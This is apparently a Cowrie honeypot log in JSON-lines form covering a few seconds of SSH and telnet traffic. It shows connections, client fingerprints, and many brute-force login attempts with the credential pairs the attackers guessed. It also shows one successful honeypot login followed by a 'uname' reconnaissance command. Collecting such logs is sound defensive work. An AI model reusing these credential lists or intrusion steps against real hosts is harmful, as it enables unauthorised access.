{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:16:08.616125Z","src_ip":"91.92.40.153","session":"586ad6c083ac","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:16:08.624699Z","src_ip":"91.92.40.153","session":"586ad6c083ac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":35974,"dst_ip":"10.17.0.5","dst_port":22,"session":"cdeb4e5899a9","protocol":"ssh","message":"New connection: 38.93.206.2:35974 (10.17.0.5:22) [session: cdeb4e5899a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:16:08.819865Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:16:08.824234Z","src_ip":"38.93.206.2","session":"cdeb4e5899a9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:16:08.887422Z","src_ip":"38.93.206.2","session":"cdeb4e5899a9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123123az","message":"login attempt [root/123123az] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:16:09.108927Z","src_ip":"38.93.206.2","session":"cdeb4e5899a9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:16:09.375579Z","src_ip":"160.187.174.22","session":"a8f6afb527d8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"173.236.247.120","src_port":34006,"dst_ip":"10.17.0.5","dst_port":22,"session":"8792fef5848a","protocol":"ssh","message":"New connection: 173.236.247.120:34006 (10.17.0.5:22) [session: 8792fef5848a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:16:09.780663Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:16:09.791235Z","src_ip":"173.236.247.120","session":"8792fef5848a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:16:09.820579Z","src_ip":"173.236.247.120","session":"8792fef5848a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ghana","password":"Accra#Bitc0!n$M@st3r99","message":"login attempt [ghana/Accra#Bitc0!n$M@st3r99] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:16:09.871151Z","src_ip":"173.236.247.120","session":"8792fef5848a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.8","message":"Connection lost after 4.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:16:09.935791Z","src_ip":"139.99.74.35","session":"c981aabad42b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.99.74.35","src_port":49618,"dst_ip":"159.203.135.109","dst_port":22,"session":"1ed63c6f07eb","protocol":"ssh","message":"New connection: 139.99.74.35:49618 (159.203.135.109:22) [session: 1ed63c6f07eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:16:10.173252Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:16:10.192500Z","src_ip":"38.93.206.2","session":"cdeb4e5899a9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"password","message":"login attempt [dev/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:16:10.266463Z","src_ip":"91.92.40.153","session":"586ad6c083ac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:16:10.887079Z","src_ip":"173.236.247.120","session":"8792fef5848a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.4","message":"Connection lost after 3.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:16:11.737113Z","src_ip":"91.92.40.153","session":"586ad6c083ac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.153","src_port":59624,"dst_ip":"10.17.0.5","dst_port":22,"session":"ab9e34e108d2","protocol":"ssh","message":"New connection: 91.92.40.153:59624 (10.17.0.5:22) [session: ab9e34e108d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:16:14.085485Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:16:14.460786Z","src_ip":"91.92.40.153","session":"ab9e34e108d2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:16:14.464381Z","src_ip":"91.92.40.153","session":"ab9e34e108d2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.8","message":"Connection lost after 4.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:16:14.955636Z","src_ip":"139.99.74.35","session":"1ed63c6f07eb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.99.74.35","src_port":50684,"dst_ip":"159.203.135.109","dst_port":22,"session":"fb59fe6888f7","protocol":"ssh","message":"New connection: 139.99.74.35:50684 (159.203.135.109:22) [session: fb59fe6888f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:16:15.186292Z"}
{"eventid":"cowrie.login.success","username":"oracle","password":"Aa123456","message":"login attempt [oracle/Aa123456] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:16:16.355214Z","src_ip":"91.92.40.153","session":"ab9e34e108d2","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:16:17.727970Z","src_ip":"91.92.40.153","session":"ab9e34e108d2","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:16:17.732129Z","src_ip":"91.92.40.153","session":"ab9e34e108d2","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.4","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:16:18.096577Z","src_ip":"91.92.40.153","session":"ab9e34e108d2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.0","message":"Connection lost after 4.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:16:18.108803Z","src_ip":"91.92.40.153","session":"ab9e34e108d2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.8","message":"Connection lost after 4.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:16:19.960982Z","src_ip":"139.99.74.35","session":"fb59fe6888f7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.99.74.35","src_port":50698,"dst_ip":"159.203.135.109","dst_port":22,"session":"a4c962a61483","protocol":"ssh","message":"New connection: 139.99.74.35:50698 (159.203.135.109:22) [session: a4c962a61483]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:16:20.189484Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.153","src_port":59646,"dst_ip":"10.17.0.5","dst_port":22,"session":"31958223a860","protocol":"ssh","message":"New connection: 91.92.40.153:59646 (10.17.0.5:22) [session: 31958223a860]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:16:20.334518Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:16:20.547573Z","src_ip":"91.92.40.153","session":"31958223a860","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:16:20.550193Z","src_ip":"91.92.40.153","session":"31958223a860","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssw0rd123","message":"login attempt [root/P@ssw0rd123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:16:22.187629Z","src_ip":"91.92.40.153","session":"31958223a860","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":41068,"dst_ip":"159.203.135.109","dst_port":23,"session":"cc08862909d1","protocol":"telnet","message":"New connection: 170.64.224.25:41068 (159.203.135.109:23) [session: cc08862909d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:16:22.337795Z"}
{"eventid":"cowrie.session.closed","duration":"3.3","message":"Connection lost after 3.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:16:23.627643Z","src_ip":"91.92.40.153","session":"31958223a860","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.8","message":"Connection lost after 4.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:16:24.963740Z","src_ip":"139.99.74.35","session":"a4c962a61483","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.99.74.35","src_port":54986,"dst_ip":"159.203.135.109","dst_port":22,"session":"94a22419db81","protocol":"ssh","message":"New connection: 139.99.74.35:54986 (159.203.135.109:22) [session: 94a22419db81]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:16:25.208213Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.153","src_port":49710,"dst_ip":"10.17.0.5","dst_port":22,"session":"6651da8be098","protocol":"ssh","message":"New connection: 91.92.40.153:49710 (10.17.0.5:22) [session: 6651da8be098]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:16:26.199349Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:16:26.941874Z","src_ip":"91.92.40.153","session":"6651da8be098","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:16:26.945310Z","src_ip":"91.92.40.153","session":"6651da8be098","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root1","password":"gg","message":"login attempt [root1/gg] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:16:28.518199Z","src_ip":"91.92.40.153","session":"6651da8be098","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.7","message":"Connection lost after 3.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:16:29.863377Z","src_ip":"91.92.40.153","session":"6651da8be098","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.8","message":"Connection lost after 4.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:16:29.979743Z","src_ip":"139.99.74.35","session":"94a22419db81","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.99.74.35","src_port":54988,"dst_ip":"159.203.135.109","dst_port":22,"session":"ba844f993697","protocol":"ssh","message":"New connection: 139.99.74.35:54988 (159.203.135.109:22) [session: ba844f993697]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:16:30.206089Z"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":33238,"dst_ip":"159.203.135.109","dst_port":23,"session":"bfe9c2247d06","protocol":"telnet","message":"New connection: 170.64.224.25:33238 (159.203.135.109:23) [session: bfe9c2247d06]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:16:30.315492Z"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":41636,"dst_ip":"159.203.135.109","dst_port":22,"session":"48dadaca0e67","protocol":"ssh","message":"New connection: 160.187.174.22:41636 (159.203.135.109:22) [session: 48dadaca0e67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:16:31.712078Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:16:31.721730Z","src_ip":"160.187.174.22","session":"48dadaca0e67","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:16:31.952880Z","src_ip":"160.187.174.22","session":"48dadaca0e67","protocol":"ssh"}
